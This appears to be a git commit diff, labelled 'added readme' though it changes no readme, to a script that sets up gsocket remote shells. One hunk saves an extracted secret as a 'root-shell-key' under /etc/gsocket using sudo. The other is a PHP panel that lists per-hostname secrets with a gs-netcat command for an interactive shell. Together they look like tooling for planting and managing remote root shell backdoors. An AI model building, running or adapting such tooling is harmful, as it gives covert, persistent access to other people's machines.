added readme

This commit is contained in:
2025-04-03 10:36:25 +03:00
parent c30b99a59d
commit 403f883480
2 changed files with 13 additions and 2 deletions

View File

@@ -396,7 +396,7 @@ setup_gsocket() {
if [ -n "$SECRET" ]; then
echo "Secret extracted: [HIDDEN]" >> "$LOG_FILE"
echo "$SECRET" > "$TEMP_DIR/gsocket_secret.txt"
echo "$SECRET" | sort -u > "$TEMP_DIR/gsocket_secret.txt"
log_cmd "sudo mkdir -p /etc/gsocket" "Creating gsocket configuration directory" "$LOG_FILE"
log_cmd "echo '$SECRET' | sudo tee /etc/gsocket/root-shell-key.txt > /dev/null" "Saving gsocket secret key" "$LOG_FILE"
@@ -837,7 +837,7 @@ if ($authenticated && !isset($_COOKIE['admin_auth'])) {
echo "<h2>$type Secret for $hostname</h2>";
echo "<div class='secret'>$secret</div>";
echo "<p>To connect using gsocket:</p>";
echo "<div class='logs'>gs-netcat -s \"$secret\"</div>";
echo "<div class='logs'>gs-netcat -s \"$secret\" -i</div>";
}
}
?>